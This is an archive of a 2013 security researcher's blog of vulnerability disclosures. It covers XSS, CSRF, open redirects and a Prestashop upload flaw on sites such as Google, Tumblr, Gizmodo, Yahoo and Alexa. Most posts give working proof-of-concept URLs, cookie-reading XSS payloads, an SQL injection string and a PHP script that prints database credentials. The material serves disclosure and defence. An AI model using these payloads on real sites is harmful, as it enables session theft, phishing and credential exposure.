Thursday, November 21, 2013

3 Open Redirect on Google - UNFIXED

In the last couple of weeks I discovered three Open Redirect security issues on Google.
For those who don't know what is a Open Redirect vulnerability, OWASP has a section about it (https://www.owasp.org/index.php/Open_redirect):
An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.
Open Redirects are very attractive for spammers. Why? With the increasing importance of URL and domain reputation in SPAM filtering, spammers may not care so much about tricking the user into believing their link is secure, but they may care about filters not seeing their malicious websites.

# Google Helpouts

Proof-of-concept:
https://helpouts.google.com/opener?url=http://labs.davidsopas.com
Proof-of-concept with the URL encoded with hex with the same destination - http://labs.davidsopas.com:
https://helpouts.google.com/opener?url=%68%74%74%70%3A%2F%2F%6C%61%62%73%2E%64%61%76%69%64%73%6F%70%61%73%2E%63%6F%6D




# Google Doubleclick 1

Vulnerable code present on http://stats.g.doubleclick.net/u/post_iframe_dc.html:
(function() {
var b = decodeURIComponent;
var c = window,
d = function() {
var a = b(c.location.hash.substring(1));
/^https?\:\/\//.test(a) && c.location.replace(a)
},
e, f = c.XMLHttpRequest;
if ("undefined" != typeof f) e = new f;
else for (var g = ["MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"], h = 0; h < g.length; h++) try {
e = new c.ActiveXObject(g[h])
} catch (k) {}
(function(a) {
a ? (a.open("POST", ("https:" == c.location.protocol ? "https://stats.g.doubleclick.net" : "http://stats.g.doubleclick.net") + "/p/__utm.gif", !0), a.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), a.onreadystatechange = function() {
4 == a.readyState && d()
}, a.send(b(c.name))) : d()
})(e);
})();

Proof-of-concept:
http://stats.g.doubleclick.net/u/post_iframe_dc.html#http://labs.davidsopas.com
Proof-of-concept with the URL encoded with hex with the same destination - http://labs.davidsopas.com:
http://stats.g.doubleclick.net/u/post_iframe_dc.html#%68%74%74%70%3A%2F%2F%6C%61%62%73%2E%64%61%76%69%64%73%6F%70%61%73%2E%63%6F%6D
# Google Doubleclick 2

This second open redirection works by adding the destination URL on adurl parameter.
You need a valid sig parameter but this value can be found by searching Google.

Proof-of-concept:
http://pubads.g.doubleclick.net/aclk?sa=L&ai=CVX_P9w1EUqOqEs-pigbasoH4BqTY8LkCAAAQASCUh8cWUO_F-bIDYO3c3IWYG8gBBOACAKgDAaoEWU_QCnBEa2tgTStWRYttDqi7d0s6uWsJDHSreAFvGE0ZiTo_mgVBIhLYaWniW4fUMgOpcXTUs_kxkhB8zkV9-z3LD9QNe14TSe7ZgNjja8PfgUFROjGNbD3N4AQBoAYV&num=0&sig=AOD64_1FE7vwsql9N-pKDvb9skYoC3ikrQ&client=&adurl=http://labs.davidsopas.com
If don't add a valid sig, it will warn the user before redirecting:
http://pubads.g.doubleclick.net/aclk?sa=L&ai=CVX_P9w1EUqOqEs-pigbasoH4BqTY8LkCAAAQASCUh8cWUO_F-bIDYO3c3IWYG8gBBOACAKgDAaoEWU_QCnBEa2tgTStWRYttDqi7d0s6uWsJDHSreAFvGE0ZiTo_mgVBIhLYaWniW4fUMgOpcXTUs_kxkhB8zkV9-z3LD9QNe14TSe7ZgNjja8PfgUFROjGNbD3N4AQBoAYV&num=0&sig=&client=&adurl=http://labs.davidsopas.com
What risks poses these security issues to a user?
- Phishing: The user may be confronted to phishing attempts by being redirected to an untrusted page
- Spreading malware: The user may be redirected to an untrusted page that contains malware which may then compromise user information
- CSRF: Using a URL specially crafted to explore a Cross-site request forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) on Google

Google doesn't reward or fix this issues. They believe the usability and security benefits of a well-implemented and carefully monitored URL redirector tend to outweigh the perceived risks.
Personally I don't understand why Google don't follow the same steps than other companies, like Facebook and Yahoo, which give the right credit to Open Redirect issues.

Tuesday, November 12, 2013

How it was possible to run a XSS worm on RunKeeper

Do you know RunKeeper?
RunKeeper is a GPS fitness-tracking application supporting more than 23 million users, launched in 2008. RunKeeper is a Boston-based company, which raised $10 million in a Series B financing, led by Spark Capital. It also hosts a built-out Health Graph displaying health and fitness related data, specific to the user. This application also has an online social network of users that share progress, goals, training programs and mapped routes. What makes this application unique is having released an open API for outside developers to plug into RunKeeper users feeds. (in Wikipedia)
When I was using this nice web application I stumble across some vulnerabilities that could be used by malicious users to create a XSS worm.
This could be achieved by using two type of vulnerabilities.

CSRF on Accounts Settings
It was possible to launch a CSRF attack (http://pt.wikipedia.org/wiki/Cross-site_request_forgery) on Account Settings. Using a external HTML form, a crafted site with a auto-submit JavaScript, a malicious user could modify all the information on a authenticated RunKeeper user without them knowing. This happened because RunKeeper forms lacked a security token or any other validation which allowed a user to POST a request on external sources.

Persistent XSS on name field - Account Settings
This was very dangerous and a major security risk. In the wrong hands it could be used to launch dangerous attacks and infect millions of users.

The XSS was automatically executed on user Account Settings and on the profile page of the user affected - http://runkeeper.com/user/dsopas/profile. Even the public profile was affected with this issue (no need for authentication).

When saving the profile, the POST request to http://runkeeper.com/settings?saveProfile= submits the following:
username=dsopas&fullName=David+Sopas&gender=M&birthday=May+01+2000&location=&athleteType=CYCLIST&goal=Sports&achievementGoal=MAINTAIN&workoutFrequency=FIVE_PLUS&skillLevel=INTERMEDIATE
Imagine a specially crafted site with a auto-submit form taking advantage of the CSRF I mentioned with the "fullName" parameter:
CLICK HERE "><img src=x onerror=prompt(document.cookie)><div x="
This would save the authenticated user new "fullName". Each time a user visited his profile would launch the attack (in my proof-of-concept it shows the victims cookie).


Modifying this POC a little bit, a malicious user could have a worm propagating on RunKeeper - stealing users cookies, gathering private information, propagating malware, ...

How dangerous?
In 2005, a XSS worm called Samy carried a payload on MySpace that would display the string "but most of all, Samy is my hero" on a victim's profile. When a user viewed that profile, they would have the payload planted on their page. Within just 20 hours of its October 4, 2005 release, over one million users had run the payload, making Samy the fastest spreading virus of all time.
This was also possible to achieve with this RunKeeper security issues.

I would like to say that RunKeeper handled this security issues very serious and they seem to really care about security and their clients.
I'm glad I helped them.

Timeline
10 Oct 2013: Got first contact with RunKeeper and sent the advisory
11 Oct 2013: RunKeeper replied that they're working on both issues
21 Oct 2013: RunKeeper gave me a detailed information on patching plan
05 Nov 2013: RunKeeper confirmed that both issues are fixed
12 Nov 2013: Full disclosure

Wednesday, November 6, 2013

Google Bots doing SQL Injection - The Proof-of-Concept

When reading this article about Google Bots doing SQL Injection from Sucuri, I remember that I already saw this somewhere on my Google researches... I was right.
If you use a special tool included on Google Analytics, located on Behavior - Experiments, a malicious user could launch SQL Injections, or other web attack, on remote websites using Google as a proxy.
   
Enter your website in the form (example: http://www.yourwebsite.com/index.php?id=1' OR 1=1--)


Check out your access log:
66.249.93.25 - - [06/Nov/2013:13:23:47 +0000] "GET /index.php?id=1'%20OR%201=1-- HTTP/1.1" 404 - "http://www.google.com/search" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko; Google Web Preview) Chrome/22.0.1229 Safari/537.4"
If you resolve the IP address you will see google-proxy-66-249-93-25.google.com.

I believe this is not directly a Google security issue. Just keep your website secure and no trouble will come in your direction.

Tuesday, October 29, 2013

How a salesman could hack Prestashop

Continuing my work on analyzing Prestashop security, I found that low level employees profiles can hack Prestashop and possibly the server.
Prestashop (I tested under versions 1.5.4.1 and 1.5.5) had employee default profiles that may use upload module option to get privilege information.
Logistician and salesman profile (with lower privileges than Admin and Superadmin) could use AdminModules to add a new module. This can be very tricky and dangerous because it doesn't require any validation in the file upload. Just zip/tar it and you have a successfully uploaded file into /modules/.

Opening /controllers/admin/AdminModulesController.php you can check that the validation on the module fails.
Take a deeper look into the code:
protected function extractArchive($file, $redirect = true)
{
$zip_folders = array();
$tmp_folder = _PS_MODULE_DIR_.md5(time());
$success = false;
if (substr($file, -4) == '.zip')
{
if (Tools::ZipExtract($file, $tmp_folder))
{
$zip_folders = scandir($tmp_folder);
if (Tools::ZipExtract($file, _PS_MODULE_DIR_))
$success = true;
}
}
else
{
$archive = new Archive_Tar($file);
if ($archive->extract($tmp_folder))
{
$zip_folders = scandir($tmp_folder);
if ($archive->extract(_PS_MODULE_DIR_))
$success = true;
}
}
if (!$success)
$this->errors[] = Tools::displayError('There was an error while extracting the module (file may be corrupted).');
//check if it's a real module
foreach($zip_folders as $folder)
if (!in_array($folder, array('.', '..', '.svn', '.git', '__MACOSX')) && !Module::getInstanceByName($folder))
{
$this->errors[] = Tools::displayError('The \'.$folder.\' you uploaded is not a module');
$this->recursiveDeleteOnDisk(_PS_MODULE_DIR_.$folder);
}
@unlink($file);
$this->recursiveDeleteOnDisk($tmp_folder);
if ($success && $redirect)
Tools::redirectAdmin(self::$currentIndex.'&conf=8&anchor=anchor'.ucfirst($folder).'&token='.$this->token);
return $success;
Notice that the file must be a zip or tar file. So far so good.
It also needs and checks for a folder. What if you don't have it? :-) It allows it and keeps the extracted file in /modules folder.

A compromise logistician, salesman or any other user that have permission to upload a module could upload a PHP shell or any other malicious file to obtain private information.

In my proof-of-concept, I used a default salesman profile account to upload a PHP file (index2.php) that contained a include to /config/settings.inc.php and show me the database details.
include('../config/settings.inc.php');
echo "<h1>Prestashop file upload exploit (need at least logistian or vendor permissions)</h1>";
echo "<h2>By David Sopas @dsopas - labs.davidsopas.com</h2>";
echo "<h3>--------------------------------------------</h3>";
echo "DB Server: " . _DB_SERVER_ . "<br />";
echo "DB Name: " . _DB_NAME_ . "<br />";
echo "DB User: " . _DB_USER_ . "<br />";
echo "DB Pass: " . _DB_PASSWD_ . "<br />";
echo "DB Prefix: " . _DB_PREFIX_ . "<br />";
Check the screens to get a visual proof-of-concept.




You can even use the same method to add a SuperAdmin user and have all the privileges you need.

This also can be used to search for server vulnerabilities and gain root access (if the server is vulnerable). As you can see it's a open door for larger attacks.

Solutions?

  • Moderation of lower privileges uploads (or even not allowing it)
  • Testing if module is really... a module
  • Heuristic analysis of malicious code


I contacted Prestashop and they told me that technically is not a easier thing to do. However they changed the right of their default profiles and deleted the right to add or delete modules (CVE-2013-6295).

Personally I advise all users that admin a Prestashop installation to remove the module permissions on users that don't need this feature, only allowing it on people that you would trust (if this can be possible :-) )

Timeline
07 Oct 2013: Contacted Prestashop security
07 Oct 2013: Prestashop replied telling me that they changed the right of their default profiles
07 Oct 2013: Asked a few more questions about patching - no reply
14 Oct 2013: Asked again about this issue - no reply
29 Oct 2013: Full disclosure

Tuesday, October 1, 2013

Wordpress, FBI and TOR, Kernel.org and DOM XSS

Here what's worth reading during this week:

- Statistics Show Why WordPress is a Popular Hacker Target http://www.wpwhitesecurity.com/wordpress-news/statistics-70-percent-wordpress-installations-vulnerable/
- Analysis of the FBI Tor Malware http://oweng.myweb.port.ac.uk/fbi-tor-malware-analysis/
- Who rooted kernel.org servers two years ago, how did it happen, and why? http://arstechnica.com/security/2013/09/who-rooted-kernel-org-servers-two-years-ago-how-did-it-happen-and-why/
- 25 Million Flows Later - Large-scale Detection of DOM-based XSS http://ben-stock.de/wp-content/uploads/domxss.pdf
- Summary of our CCS paper on DOM-based XSS http://ben-stock.de/2013/09/summary-of-our-ccs-paper-on-dom-based-xss/

Feel free to suggest some new articles. Just tweet @dsopas.

Tuesday, September 24, 2013

Tumblr got DOM XSSed

When using this awesome blog platform - which hosts more than 138,4 million blogs - I come across a vulnerability that could be used my malicious users to a variety of illegal activities (steal user credentials, spread malware, spamming, etc).
This vulnerability could put millions of web surfers at risk of malicious user attacks.

The affected file was located at http://assets.tumblr.com/assets/scripts/tumblelog_iframe.js.
A couple of variables (name and title) weren't properly sanitized within the source location.hash. So basically anyone could explore it by injecting HTML and launching a reflected DOM XSS attack - https://www.owasp.org/index.php/DOM_Based_XSS.

Vulnerable code:
(...)
if (v) {
v.innerHTML = decodeURIComponent(e.get.name)
}
(...)
document.getElementById("name").innerHTML = r;
document.getElementById("title").innerHTML = decodeURIComponent(x).replace(/\+/g, " ");
(...)
Proof-of-concept:
http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus%3Cimg%20src=x%20onerror=prompt%281%29;%3E&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide


You didn't even need to be authenticated in Tumblr.

Tumblr patched it by using a sanitize function in the Javascript file:
(...)
document.getElementById("name").innerHTML=_t.sanitize(r,true);
document.getElementById("title").innerHTML=_t.sanitize(x,true).replace(/\+/g," ");
(...)
It took more than two months to fix this reflected DOM XSS. And this isn't the first time that Tumblr ignores this kind of vulnerability. On June 25, 2012 the researcher Riyaz Walikar found and published a persistent XSS (http://www.riyazwalikar.com/2012/07/stored-persistent-xss-on-tumblr.html) that was only patched by Tumblr when it got public. They ignore his emails disclosing the vulnerability.

I really hope that in the future Tumblr patches this kind of security issues faster.

Timeline:
11 Jul 2013: Reported to Tumblr
11 Jul 2013: Tumblr reported that they're looking into it
17 Jul 2013: I asked for an update
17 Jul 2013: Tumblr reported again that they're looking into it
06 Aug 2013: I asked for other update
13 Aug 2013: Tumblr reported that they reviewed the exploit and were taking appropriate actions on their end
20 Set 2013: I noticed that the security issue was fixed and never got any reply.
24 Set 2013: Full disclosure

Saturday, September 14, 2013

Friday, September 6, 2013

Gizmodo, Lifehacker, Gawker - reflected DOM XSS

I'm a big follower of many of Gawker Media websites - like Lifehacker and Gizmodo - and with that in mind I try to help them on their security level.

Just cruising along in Gizmodo website I found a problem that caught my attention.
A request to a file called ad_iframe.html on assets directory. Checking the source code of that file I found:
<script>
var location_parts = window.location.hash.substring(1).split('|');
var rand = location_parts[0];
var scriptsrc = decodeURIComponent(location_parts[1]);
document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
</script>
The variable scriptsrc isn't properly escaped from the source location.hash.
Just giving the expected hashtag and pipe chars, a user could exploit this vulnerability with a DOM XSS to achieve information.

How can this be exploited?

Proof-of-concept on Gizmodo:
http://gizmodo.com/assets/ad_iframe.html#|'></script><script>alert("xss by @dsopas");</script><div x='
Proof-of-concept on Gizmodo (encoded):
http://gizmodo.com/assets/ad_iframe.html#|'>%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%20%62%79%20%40%64%73%6F%70%61%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E%3C%64%69%76%20%78%3D%27


A malicious user could also:

  • access other sites inside another client's private intranet.
  • steal another client's cookie(s).
  • modify another client's cookie(s).
  • steal another client's submitted form data.
  • modify another client's submitted form data (before it reaches the server).
  • submit a form to your application on the user's behalf which modifies passwords or other application data

This DOM XSS vulnerability was present in many Gawker Media websites:
http://gawker.com/assets/ad_iframe.html
http://gizmodo.com/assets/ad_iframe.html
http://lifehacker.com/assets/ad_iframe.html
http://deadspin.com/assets/ad_iframe.html
http://io9.com/assets/ad_iframe.html
http://jalopnik.com/assets/ad_iframe.html
http://jezebel.com/assets/ad_iframe.html
http://kotaku.com/assets/ad_iframe.html
I want to thank Gawker Media tech team for fixing this issue in less than 24 hours. They really care about security and their users.

Timeline:
02 Set 2013: Reported to Gawker Media
03 Set 2013: Gawker Media replied that a fix has been deployed
06 Set 2013: Full disclosure

Tuesday, September 3, 2013

Mashable DOM XSS

Recently I found a security issue on Mashable website.
Vulnerable code was:
(...)
var customOpts = optsFromUrl(window.location.hash);
(...)
src = appendKeyVal(src, 'ord',      opts.options);
(...)
buffer += '<script class="ad_call" src="' + src + '"><\/script>';
(...)
document.write(buffer);
(...)
The source location.hash wasn't properly sanitized for injections and that way could be used to inject a XSS vector into the browser DOM by using the sink document.write.

Proof-of-concept:
http://mashable.com/#type=left_column&ord=499753815940197_"><img src=x onerror=prompt(1);>&tile=1&sec0=home&sec1=index&escnotcategory=iframe&bg=#39ebd1&adnum=1

This type of attack could be used to trick innocent users, infecting them with malware and even get their accounts hijacked.

Timeline:
22 Ago 2013: Reported to Mashable
26 Ago 2013: Mashable replied that they will fix it
29 Ago 2013: Fix is released
03 Set 2013: Full disclosure

Friday, August 16, 2013

ESET and Symantec victims of vulnerable JW Player

It seems that there are still many JW Players outdated in the wild.
I reported two security issues, same vulnerability that I published about Yahoo, on ESET and Symantec sites.

The problem is located under a vulnerable flash player (JW Player) that can be used to explore a Cross site flashing - OWASP-DV-004.
This may be used to trick innocent users to spread malware and even hijack accounts using the name of ESET and Symantec.

#1 Proof-of-concept on ESET:
http://www.eset.ro/suport-antivirus/video-player/player.swf?playerready=alert("xss by @dsopas")

#2 Proof-of-concept on Symantec:
https://hp.symantec.com/sites/all/modules/contrib/jwplayermodule/player.swf?playerready=alert("xss by @dsopas");

Both issues were fixed (JW Player removed) by the vendors.

Timeline #1:
18 Jun 2013: Reported to ESET
03 Jul 2013: Fixed by ESET
16 Aug 2013: Full disclosure

Timeline #2:
19 Jun 2013: Reported to Symantec
20 Jun 2013: I noticed that the script was removed. Never got a reply back.
16 Aug 2013: Full disclosure

Tuesday, August 13, 2013

Vulnerable JW Player on two Yahoo sites

Changeled by some web security analysts that told by that Yahoo is very hard to still find web vulnerabilities on their sites I found two flaws.
Both security issues are located under a vulnerable flash player - JW Player (discovered by Neal Poole on April) that can be used to inject a XSS vector.
This type of attack could be used to trick innocent users, infecting them with malware and even get their accounts hijacked using the name of Yahoo.

Proof-of-concept:
#1 http://especiales.yahoo.net/turismo-de-tunez/wp-content/themes/studiozen/js/jwplayer/player.swf?playerready=alert("xss by @dsopas")

#2 http://www.yahoosportsradio.com/source/mediaplayer/player.swf?playerready=alert("xss by @dsopas")


Upgrading JW Player would fix this vulnerability but Yahoo decided to delete because they were old files forgotten on the web sever. Always a priority to delete files that you don't need. They could become a security risk in the future.

Yahoo security team sent me as a gift the DoD T-Shirt and a few other Yahoo merchandise.




I would like to mention that Yahoo fixed both vulnerabilities pretty fast proving that they really care about security.

Timeline #1:
07 Jun 2013: Reported to Yahoo
10 Jun 2013: Fixed by Yahoo
13 Aug 2013: Full disclosure

Timeline #2:
13 Jun 2013: Reported to Yahoo
13 Jun 2013: Fixed by Yahoo
13 Aug 2013: Full disclosure

Update:  The JW Player security issue is also present on SecurityFocus since 29 July 2012. Thanks to Avram Marius for this information.

Wednesday, July 17, 2013

Dowjones.com DOM XSS

Dow Jones & Company is an American publishing and financial information firm.
The company was founded in 1882 by three reporters: Charles Dow, Edward Jones, and Charles Bergstresser. Like The New York Times and the Washington Post, the company was in recent years publicly traded but privately controlled. The company was led by the Bancroft family, which effectively controlled 64% of all voting stock, before being acquired by News Corporation.
(in Wikipedia)

In January I found a couple of issues on a Eloqua script (which I don't got any reply, even after I tried to contact them for more than 5 times). This script is used by Dow Jones site. Let's take a look into the vulnerable code:
if (document.referrer) { elqRef2 = document.referrer; }
if (navigator.appName == 'Netscape' || navigator.userAgent.indexOf("Opera")!=-1) { document.write('<la' + 'yer hidden=true><im' + 'g src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 ><\/la' + 'yer>');}
else { document.write('<im' + 'g style="display:none" src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 >');}
As you can see it was possible to manipulate the document.referrer and write (due to document.write) present on the Eloqua javascript.

How was it possible to attack it?

#1
Simple creating a HTML page with a link to the dowjones.com site, with the XSS vector, the code is executed on the browser.
http://www.example-site.com/?"><img src=x onerror=prompt(1);><!--
example-site.com will have a link to dowjones.com. When a user click on that link it will redirect to dowjones.com and execute the XSS vector on that page.

#2
This proof-of-concept is much easier to implement. When a user change the page inside dowjones.com, it will execute the XSS vector.
www.dowjones.com/?"><h1>XSS</h1><!--
You can even play around encoding a little bit to obsucate from inexperient users.
www.dowjones.com/%3F%22%3E%3Ch1%3EXSS%3C%2Fh1%3E%3C!--


Both examples could be used by malicious users to trick victims on scams and even to spread malware.

Dow Jones already fixed this and their solution was to simply remove the script.

Timeline:
21 Mar 2013: Sent this information to Dow Jones
22 Mar 2013: Got a reply
11 Apr 2013: Requested a update about this vulnerability
12 Apr 2013: Got a reply that they were fixing it
03 Jun 2013: Noticed that the issue was fixed and requested an update from Dow Jones (no reply so far)
17 Jul 2013: Full disclosure

Monday, July 8, 2013

Prestashop persistent XSS and CSRF vulnerability

Continuing to test Prestashop security I just found out a vulnerability on the latest version (and maybe prior versions).
Logistician, translators and other low level profiles/accounts could inject a persistent XSS vector on TinyMCE to affect users and even admins.
This is possible due to a flaw on TinyMCE which doesn't filter some events (blocks only a couple of them) on HTML.

Proof-of-concept on a combined CSRF attack (logged in as logistician):
On a CMS page, enter the following HTML in TinyMCE (on HTML mode) <img onmouseover="window.location.href = 'http://www.website-example.pt/loja/admin9050/index.php?logout'" src="x" alt="" />
When the admin hover the image, he will automatically logout from the admin panel.
With a little imagination this issue can be used to spread malware or grab users credentials (popping up a screen to login) to visitors, authenticated users or even admins. (CVE-2013-4791)




Also logout GET request should also have a token protection. Just to prevent CSRF attacks. (CVE-2013-4792)

Keep in mind that the latest version of TinyMCE it's patched against this issue.
By the way I tested under PrestaShop 1.5.4.1.

Prestashop developing team replied:
We have fixed this problem in our 1.4.11 release, and we will also put this patch in our next 1.5 release before the end of July.
Timeline:
05 Jun 2013: Reported to Prestashop
11 Jun 2013: Replied that their team were working on it
02 Jul 2013: Prestashop released a fix to this issue
08 Jul 2013: Full disclosure

Tuesday, July 2, 2013

Issuu DOM XSS

For those who don't know Issuu...
Issuu is an online service that allows for realistic and customizable viewing of digitally uploaded material, such as portfolios, books, magazine issues, newspapers, and other print media. It integrates with social networking sites to promote uploaded material. While most of the documents are meant to be viewed online, some can be downloaded and saved as well. Uploaded print material is viewed through a web browser and is made to look like a printed publication with an animated page flip option. 
I found out that was possible to inject a DOM XSS vector on their code. The vulnerable code was present at embed.html in the following line:
document.write('<div data-configid="' + location.hash.replace('#', '') + '" class="issuuembed"></div>');
location.hash.replace wasn't properly escaped and could be used to lauch DOM XSS attacks by malicious users using sink document.write. This could be exploited in phishing attacks or to trick innocent users to click on malicious links (with malware).

Proof of concept:
http://e.issuu.com/embed.html#1200954/2011806"><a href=# onmouseover=alert(1);>Click here</a><div x="


This DOM XSS vectors could be modified to work on each browser.

Timeline:
17 Jun 2013: Reported to Issuu
17 Jun 2013: Issuu reported that they'll fix it ASAP
25 Jun 2013: Issuu reported that they fixed it
01 Jul 2013: Full disclosure

Thursday, June 13, 2013

Microsoft Pinpoint vulnerable to DOM XSS

Using a third-party web application, Microsoft Pinpoint site was vulnerable to a DOM XSS that could be used by malicious users to launch attacks.
A user could access Ensighten Real-Time Tag Management System by adding the URL parameter "ensightenVT=1" on the pinpoint.microsoft.com. This would allow to check a couple of Ensighten options.

Proof of concept #1:
http://pinpoint.microsoft.com/en-US/applications/search?sort=rating&q=nothing&fcrc=PRT&ensightenVT=1


After this point, a reflected DOM XSS it's present on a couple of places and adding the vector on the previous URL:

Proof of concept #2:
#"><img src=x onerror=prompt(1);>


... and navigating on some Ensighten options, the vector would execute successfully and automatically.
This was due to a lack of sanitizing location.hash.

Microsoft Security Response Center replied:
Thank you for reporting this to us.  I want to let you know that we have been able to finish our review of this issue and have fixed this in an online services update.  I would like to provide you with an acknowledgement for working with us on our Online Researcher Acknowledgement page at http://technet.microsoft.com/en-us/security/cc308589.
After getting my name on Google and eBay, currently I'm also listed on Microsoft: (http://technet.microsoft.com/en-us/security/cc308589).

Timeline:
19 Mar 2013: Reported to Microsoft
19 Mar 2013: Microsoft reported that will take a look into it
22 Mar 2013: Microsoft reported that this issue is fixed in an online services update
13 Jun 2013: Full disclosure

Jobs.cz XSS vulnerability

I found that is possible to conduct a XSS attack on career site on jobs.cz by manipulating the URL and injecting Javascript. That way when the user clicked on the link "Apply" - to a job - it will launch the attack.

This could be used to trick innocent users applying to a job on a big company (Jobs.cz customers). When they're clicking on the Apply they could been victims of, for example, redirections to malware sites or drive by downloads.

Proof of concept:
http://xxxxxxx.jobs.cz/lang/577198204/xxxxxxxx?brand=g2&exportRCM=43374188&trackingBrand=unknown';alert("xss by @dsopas");//&rps=186&ep=


Keep in mind that Jobs.cz have many important clients like Accenture, KPMG, DHL, ŠKODA AUTO, Telefónica, T-Mobile, BOSCH Group, GE Money, Vodafone, Ernst & Young, SIEMENS, Avast and many others.

I would like to thank the Jobs.cz security team for keeping me updated and providing a solution to this issue very fast. It's always glad to see companies that care about security and appreciate help from outsiders.

Timeline:
23 Apr 2013: Reported to Jobs.cz
24 Apr 2013: First contact with Jobs.cz technical support
25 Apr 2013: Update from Jobs.cz security team
13 May 2013: Patched
13 Jun 2013: Full disclosure

Tuesday, April 23, 2013

IDG Now! vulnerable to reflected XSS


IDG Now! is one of the most popular brazilian IT online mags and a reference in portuguese language. It has millions of visits each day and a large community on social networks.

The site suffered from a reflected DOM XSS present on the JavaScript code for the AnythingSlider.

Vulnerable code:
a.gotoHash = function() {
var c = a.win.location.hash,
(...)

The location.hash wasn't sanitized and it was possible for a user to manipulate the URL injecting a XSS vector.

Proof of concept:
http://idgnow.uol.com.br/#<img src=x onerror=prompt(1);>


Also, the jQuery version was outdated.

The Developing team for IDG Now! reported that they fixed the DOM XSS issue and updated the jQuery framework.

Timeline:
23 Mar 2013: Reported to IDG Now!
26 Mar 2013: Fixed by their developing team.
23 Apr 2013: Full disclosure.

Friday, April 12, 2013

phpMyAdmin XSS


For those who don't know phpMyAdmin, is a free software tool written in PHP, intended to handle the administration of MySQL over the World Wide Web. phpMyAdmin supports a wide range of operations with MySQL. The most frequently used operations are supported by the user interface (managing databases, tables, fields, relations, indexes, users, permissions, etc), while you still have the ability to directly execute any SQL statement.

When using it on a client I found out that, under versions 3.5.3, 3.5.4  and 3.5.5, it was possible to inject a self-XSS.

The vulnerability is under "Query results operations" - "Display Chart" and "Title" field. When writing the title with a XSS vector the code is automatically executed.

Proof of concept:
Chart title"><script>alert("xss by @dsopas")


This bug was fixed (version 3.5.6) but per their policy for self-XSS, they decided against a
security release.
The commit is https://github.com/phpmyadmin/phpmyadmin/commit/d30aaae.

Timeline:
10 Jan 2013: Reported to phpMyAdmin security team
10 Jan 2013: They replied and told me that they're investigating
15 Mar 2013: I asked for update - reported that it is already been fixed since January
12 Apr 2013: Full disclosure

Sunday, March 24, 2013

XSS on FCKeditor


What's FCKeditor?
FCKeditor is a ready-for-use open source WYSIWYG text editor from CKSource designed to bring common word processor features directly to web pages, simplifying their content creation. It aims to be lightweight and requires no client-side installation. This tool is already deprecated and was updated to CKEditor but still many open-source projects use FCKeditor.

When using Drupal and PHPList I come across something that caught my attention. The about page (fck_about.html) of FCKeditor showed a window with the User-Agent, Browser and Platform. I thought to myself: I think we can inject something into this window.

I checked the source code and voilà...
document.write( '<b>User Agent<\/b><br />' + window.navigator.userAgent + '<br /><br />' ) ;
document.write( '<b>Browser<\/b><br />' + window.navigator.appName + ' ' + window.navigator.appVersion + '<br /><br />' ) ;
document.write( '<b>Platform<\/b><br />' + window.navigator.platform + '<br /><br />' ) ;

The lack of sanitizing those parameters will allow code to be executed on the browser.

To give a proof-of-concept, I used a Chrome plugin to change the User-Agent for a XSS vector.


Of course this vulnerability is not critical. It requires user interaction to exploit this. You always need to control the victims browser to execute an attack. Needless to say that if you have the victims browser the attacker didn't need to inject a XSS (IMO)...
It's a self-XSS so it needs more than a link to attack someone. It needs to be combined with other attack, like good social engineering skills. I reported this issue because even a self-XSS it's a vulnerability. It can be used to check vendors security response; what kind of vulnerabilities are most common on their products; etc.

By the way FCKeditor is still used in millions of websites and just to be sure update your version.

This issue was fixed on version 2.6.10.
We would like to announce a small update to FCKeditor. FCKeditor 2.6.10 is a minor security release that contains a fix for a recently reported issue where the About dialog window could hypothetically be used for an XSS attack provided that the user was forced by the attacker to change his browser properties.
Please note FCKeditor is a retired and no longer supported product. No further updates will be provided and it is highly recommended to upgrade to its successor, CKEditor, that is a far superior, feature-rich, and mature product.

Also present in 2.6.10 changelog:
Values displayed in the "About" dialog window were not properly escaped - reported by David Sopas.

My congrats to the CKSource team for the fast support showing that they're a company that cares about security.

Monday, March 18, 2013

Alexa reflected DOM XSS

Alexa Internet, Inc. is a California-based subsidiary company of Amazon.com which provides commercial web traffic data. Once it is installed, the Alexa Toolbar collects data on browsing behavior and transmits it to the Alexa website, where it is stored and analyzed, forming the basis for the company's web traffic reporting. As of 2013, Alexa provides traffic data, global rankings and other information on 30 million websites, and claims that 6 million people visit its website monthly.

When using Alexa.com website I found a reflected DOM XSS that could be used by malicious users to trick innocent visitors.
This vulnerability was present at tags.js from a remote location and the variable "tagSrc" lacked the proper sanitizing.

Vulnerable code:
t.tagSrc = '<div align="center">'+t.tagSrc+'</div>';
document.writeln(t.tagSrc);

When modifying the URL you can inject the code you want:
http://www.alexa.com/tfBuster.html#?flashVer=11&ver=1.25&th=11117008646&tagKey=4138765495&site=alexacom"></script><script>alert(document.cookie);</script><!--&adSpace=miscellanious&center=1&env=display


This issue already has been fixed but it took more than 3 months. It's strange that a company that's so big couldn't fix this type of vulnerability faster.
Malicious users could use this DOM XSS to spread phishing campaigns with a higher success rate.

Timeline:
13 December 2012: Reported this issue.
13 December 2012: Alexa replied and forwarded to engineering team.
26 December 2012: I requested a follow-up. They replied that still unpatched.
15 March 2013: Alexa replied that the DOM XSS has been fixed.

Tuesday, February 26, 2013

McAfee DOM XSS

